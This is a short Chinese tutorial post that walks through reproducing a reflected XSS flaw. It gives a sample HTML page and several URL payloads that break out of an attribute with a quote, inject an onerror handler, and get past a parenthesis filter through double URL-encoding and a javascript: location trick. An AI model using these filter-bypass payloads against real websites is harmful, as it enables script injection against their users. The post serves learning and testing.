简单反射型XSS的复现

xss反射型攻击:

1.最简单的漏洞复现:

这里我们有一个最简单的网页:由于地址不存在,所以图片加载不出来。

复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="aaaa" onerror="alert(1)" alt="error">
</body>
</html>

首先我们要知道onerror函数有什么作用:捕获页面错误信息并调用函数

我们先写一个最简单的xss,发现在源代码上面出现在了scr

复制代码
?xss=aaaaaa

所以接下来尝试用"闭合

复制代码
?xss=aaaaa" onerror="alert(1)

可以看到这里没有编译括号,所以是后台把括号过滤了

接下来就尝试对括号进行编码,(的编码是%28)的编码是%29

复制代码
?xss=aaaaa" onerror="alert%281%29

可以发现还是没有任何变化,原因是因为浏览器会在进行编码之后才给到函数运行,所以在函数执行之前又会变回括号一样被过滤。

所以为了避免被浏览器编码,我们可以进行二次编码,把%编码成%25

复制代码
?xss=aaaaa" onerror="alert%25281%2529

发现依然不行,想起来js编码不能替换符号,所以这里要用到location,作用是将符号,变量名,函数名都变成字符串,就可以进行js编码了。

复制代码
?xss=aaaaa" onerror= location="javascript:alert%25281%2529

可以看出已经可以了。

相关推荐
wearegogog12316 小时前
基于 MATLAB 的卡尔曼滤波器实现,用于消除噪声并估算信号
前端·算法·matlab
Drawing stars16 小时前
JAVA后端 前端 大模型应用 学习路线
java·前端·学习
品克缤16 小时前
Element UI MessageBox 增加第三个按钮(DOM Hack 方案)
前端·javascript·vue.js
小二·16 小时前
Python Web 开发进阶实战:性能压测与调优 —— Locust + Prometheus + Grafana 构建高并发可观测系统
前端·python·prometheus
小沐°16 小时前
vue-设置不同环境的打包和运行
前端·javascript·vue.js
qq_4198540517 小时前
CSS动效
前端·javascript·css
烛阴17 小时前
3D字体TextGeometry
前端·webgl·three.js
桜吹雪18 小时前
markstream-vue实战踩坑笔记
前端
C_心欲无痕18 小时前
nginx - 实现域名跳转的几种方式
运维·前端·nginx
花哥码天下18 小时前
恢复网站console.log的脚本
前端·javascript·vue.js